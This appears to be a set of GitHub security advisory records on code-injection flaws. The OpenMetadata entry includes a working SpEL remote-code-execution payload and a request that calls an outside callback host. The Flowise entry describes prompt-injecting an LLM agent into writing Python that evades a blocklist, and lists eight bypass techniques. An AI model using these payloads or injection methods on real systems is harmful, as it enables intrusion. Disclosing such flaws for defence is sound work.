CWE-94

{
  "affected": [],
  "aliases": [
    "CVE-2009-0464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-10T07:00:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in includes/header.php in Groone GBook 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.",
  "id": "GHSA-5xf4-h6x9-p739",
  "modified": "2022-05-02T03:15:46Z",
  "published": "2022-05-02T03:15:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0464"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7955"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/51716"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33768"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33578"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-11851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-17T02:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Arbitrary code execution vulnerability on Micro Focus ArcSight Logger product, affecting all version prior to 7.1.1. The vulnerability could be remotely exploited resulting in the execution of arbitrary code.",
  "id": "GHSA-5xg8-q2v8-w6f8",
  "modified": "2022-05-24T17:34:23Z",
  "published": "2022-05-24T17:34:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11851"
    },
    {
      "type": "WEB",
      "url": "https://community.microfocus.com/t5/Logger/Logger-Release-Notes-7-1-1/ta-p/2837600"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2006-5055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-09-28T00:07:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in admin/testing/tests/0004_init_urls.php in syntaxCMS 1.1.1 through 1.3 allows remote attackers to execute arbitrary PHP code via a URL in the init_path parameter.",
  "id": "GHSA-5xgm-63rp-xwqv",
  "modified": "2022-05-01T07:24:33Z",
  "published": "2022-05-01T07:24:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5055"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/29122"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/2424"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=full-disclosure\u0026m=115913461828660\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1016914"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20171"
    },
    {
      "type": "WEB",
      "url": "http://www.syntaxcms.org/content/article/detail/513"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/3760"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-5789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-12-31T11:30:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in the Recly Interactive Feederator (com_feederator) component 1.0.5 for Joomla! allow remote attackers to execute arbitrary PHP code via a URL in the (1) mosConfig_absolute_path parameter to (a) add_tmsp.php, (b) edit_tmsp.php and (c) tmsp.php in includes/tmsp/; and the (2) GLOBALS[mosConfig_absolute_path] parameter to (d) includes/tmsp/subscription.php.",
  "id": "GHSA-5xjq-6f2f-pgrr",
  "modified": "2022-05-17T00:42:53Z",
  "published": "2022-05-17T00:42:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5789"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46438"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7040"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4827"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32194"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-6731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-09-13T22:30:00Z",
    "severity": "HIGH"
  },
  "details": "Extended Module Player (XMP) 2.5.1 and earlier allow remote attackers to execute arbitrary code via an OXM file with a negative value, which bypasses a check in (1) test_oxm and (2) decrunch_oxm functions in misc/oxm.c, leading to a buffer overflow.",
  "id": "GHSA-5xjw-36fw-5xm4",
  "modified": "2022-05-01T18:45:56Z",
  "published": "2022-05-01T18:45:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6731"
    },
    {
      "type": "WEB",
      "url": "http://aluigi.altervista.org/adv/xmpbof-adv.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27047"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2006-3776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-07-24T12:19:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in order/index.php in IDevSpot (1) PhpHostBot 1.0 and (2) AutoHost 3.0 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter.",
  "id": "GHSA-5xm4-pxv6-f5vr",
  "modified": "2022-05-01T07:12:27Z",
  "published": "2022-05-01T07:12:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-3776"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/27852"
    },
    {
      "type": "WEB",
      "url": "http://pridels0.blogspot.com/2006/07/phphostbot-remote-file-inclusion-vuln.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/21128"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/27411"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/19084"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/2899"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2011-2732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-13T17:56:38Z",
    "nvd_published_at": "2012-12-05T17:55:00Z",
    "severity": "MODERATE"
  },
  "details": "CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.",
  "id": "GHSA-5xm9-rf63-wj7h",
  "modified": "2022-07-13T17:56:38Z",
  "published": "2022-05-17T05:18:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2732"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=677814"
    },
    {
      "type": "WEB",
      "url": "http://support.springsource.com/security/cve-2011-2732"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Improper Control of Generation of Code in Spring Security"
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-5117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-09-27T17:17:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in FrontAccounting (FA) 1.13, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the path_to_root parameter to (1) access/login.php and (2) includes/lang/language.php, different vectors than CVE-2007-4279.",
  "id": "GHSA-5xrf-9rc2-jr45",
  "modified": "2025-04-09T03:46:39Z",
  "published": "2022-05-01T18:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5117"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36796"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4456"
    },
    {
      "type": "WEB",
      "url": "http://arfis.wordpress.com/2007/09/14/rfi-02-frontaccounting"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26962"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25812"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.open-metadata:openmetadata-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:06:02Z",
    "nvd_published_at": "2024-03-15T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)\n\n***Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.***\n\nThe [`\u200eCompiledRule::validateExpression`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51) method evaluates an SpEL expression using an [`StandardEvaluationContext`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57), allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/\u003cexpression\u003e` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.\n\n[Snippet from PolicyResource.java](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L448)\n\n```java\n  @GET\n  @Path(\"/validation/condition/{expression}\")\n  @Operation(\n      operationId = \"validateCondition\",\n      summary = \"Validate a given condition\",\n      description = \"Validate a given condition expression used in authoring rules.\",\n      responses = {\n        @ApiResponse(responseCode = \"204\", description = \"No value is returned\"),\n        @ApiResponse(responseCode = \"400\", description = \"Invalid expression\")\n      })\n  public void validateCondition(\n      @Context UriInfo uriInfo,\n      @Context SecurityContext securityContext,\n      @Parameter(description = \"Expression of validating rule\", schema = @Schema(type = \"string\"))\n          @PathParam(\"expression\")\n          String expression) {\n    CompiledRule.validateExpression(expression, Boolean.class);\n  }\n```\n\n```java\n  public static \u003cT\u003e void validateExpression(String condition, Class\u003cT\u003e clz) {\n    if (condition == null) {\n      return;\n    }\n    Expression expression = parseExpression(condition);\n    RuleEvaluator ruleEvaluator = new RuleEvaluator();\n    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);\n    try {\n      expression.getValue(evaluationContext, clz);\n    } catch (Exception exception) {\n      // Remove unnecessary class details in the exception message\n      String message = exception.getMessage().replaceAll(\"on type .*$\", \"\").replaceAll(\"on object .*$\", \"\");\n      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));\n    }\n  }\n```\n\nIn addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query.\n#### Proof of concept\n\n- Prepare the payload\n\t- Encode `touch /tmp/pwned` in Base64 =\u003e `dG91Y2ggL3RtcC9wd25lZA==`\n\t- SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"dG91Y2ggL3RtcC9wd25lZA==\")))`\n\t- Encode the payload using URL encoding:\n```\n%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29\n```\n\n- Send the payload using a valid JWT token:\n```http\nGET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2\nHost: sandbox.open-metadata.org\nAuthorization: Bearer \u003cnon-admin JWT\u003e\n```\n- Verify that a file called `/tmp/pwned` was created in the OpenMetadata server\n#### Impact\n\nThis issue may lead to Remote Code Execution by a registered and authenticated user.\n\n#### Remediation\n\nUse [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.",
  "id": "GHSA-5xv3-fm7g-865r",
  "modified": "2024-04-24T17:06:02Z",
  "published": "2024-04-24T17:06:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5xv3-fm7g-865r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28848"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/security/policyevaluator/CompiledRule.java#L57"
    },
    {
      "type": "ADVISORY",
      "url": "https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/\u003cexpr\u003e` (`GHSL-2023-236`)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T19:29:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "-- ABSTRACT -------------------------------------\n\nTrend Micro\u0027s Zero Day Initiative has identified a vulnerability affecting the following products:\nFlowise - Flowise\n\n-- VULNERABILITY DETAILS ------------------------\n* Version tested: 3.1.1\n* Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1)\n* Platform tested: Ubuntu 25.10\n\n---\n\nA prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.\n\n```\nThis vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the run method of the CSV_Agents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.\n```\n\n### Analysis\n\nWhen a user makes a query against a chatflow using the CSV Agent node, the `run` method of the `CSV_Agents` class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user\u0027s input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named `pythonCode`. The method then attempts to validate this value using `validatePythonCodeForDataFrame` from `packages/components/src/pythonCodeValidator.ts` before evaluating it in pyodide.\n\nThe validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, `chr()` encoding, aliasing of dangerous builtins, `__getattribute__` with concatenated attribute names, frame object inspection, MRO traversal, `df.query()` expression evaluation, and decorator syntax to invoke `exec` indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.\n\nFrom `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`:\n```ts\nlet pythonCode = \u0027\u0027\nif (dataframeColDict) {\n    const chain = new LLMChain({\n        llm: model,\n        prompt: PromptTemplate.fromTemplate(systemPrompt),\n        verbose: process.env.DEBUG === \u0027true\u0027 ? true : false\n    })\n    const inputs = {\n        dict: dataframeColDict,\n        question: input // user-controlled input substituted into prompt\n    }\n    const res = await chain.call(inputs, [loggerHandler, ...callbacks])\n    pythonCode = res?.text // LLM response assigned to pythonCode\n    pythonCode = pythonCode.replace(/^```[a-z]+\\n|\\n```$/gm, \u0027\u0027)\n}\n\nlet finalResult = \u0027\u0027\nif (pythonCode) {\n    const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied\n    if (!validation.valid) {\n        throw new Error(\n            `Generated code was rejected for security reasons (${\n                validation.reason ?? \u0027unsafe construct\u0027\n            }). Please rephrase your question to use only pandas DataFrame operations.`\n        )\n    }\n    try {\n        const code = `import pandas as pd\\nimport numpy as np\\n${pythonCode}`\n        finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide\n    } catch (error) {\n        throw new Error(`Sorry, I\u0027m unable to find answer for question: \"${input}\" using following code: \"${pythonCode}\"`)\n    }\n}\n```\n\nAn unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.\n\nEight bypass variants were demonstrated against the validator:\n\n| Variant | Technique | Bypasses |\n|---------|-----------|----------|\n| 0 | `@exec` decorator with string-concatenated `__import__` | `/\\bexec\\s*\\(/`, `/\\b__import__\\s*\\(/` |\n| 1 | `eval` aliased to a variable, payload chr()-encoded | `/\\beval\\s*\\(/`, `/\\bimport\\b/` |\n| 2 | `df.query()` with chr()-encoded `@__builtins__.__import__` | `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n| 3 | MRO traversal + `__getattribute__` + `__subclasses__` -\u003e `BuiltinImporter.load_module` | `/\\b__class__\\b/`, `/\\b__subclasses__\\s*\\(/`, `/\\b__mro__\\b/` |\n| 4 | Generator frame inspection via `gi_frame.f_globals[\u0027__loader__\u0027]` | `/\\b__loader__\\b/`, `/\\b__globals__\\b/` |\n| 5 | Exception traceback frame walk to `f_builtins[\u0027__import__\u0027]` | `/\\b__globals__\\b/`, `/\\b__import__\\s*\\(/` |\n| 6 | `__build_class__.__self__.__getattribute__(\u0027__import__\u0027)` | `/\\b__import__\\s*\\(/` |\n| 7 | `vars` aliased to a variable, `__builtins__` accessed via dict key | `/\\bvars\\s*\\(/`, `/\\b__builtins__\\b/`, `/\\b__import__\\s*\\(/` |\n\n### Repro\n\nThe proof of concept (`poc.py`) has three modes of operation:\n\n**mode = \"server\"**: Starts a malicious server that responds to \"/api/chat\" requests with a JSON object containing an LLM response with the selected attack payload.\n\n**mode = \"chatflow\"**: Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.\n\n**mode = \"prompt_injection\"**: Sends a prompt injection payload directly to an existing chatflow\u0027s prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.\n\n```\npython3 poc.py --mode [server OR chatflow OR prompt_injection] [--user \u003cUSER\u003e --passwd \u003cPASSWORD\u003e --host \u003cHOST\u003e --r_host \u003cR_HOST\u003e --r_port \u003cR_PORT\u003e --l_port \u003cL_PORT\u003e --port \u003cPORT\u003e --cmd \u003cCMD\u003e --attack \u003cATTACK\u003e --chatflow_id \u003cCHAT_ID\u003e]\n```\n\n\n-- CREDIT ---------------------------------------\nThis vulnerability was discovered by:\nDre Cura (@dre_cura) of TrendAI Research",
  "id": "GHSA-5xvg-pmgg-3mxr",
  "modified": "2026-08-04T19:29:26Z",
  "published": "2026-08-04T19:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5xvg-pmgg-3mxr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability"
}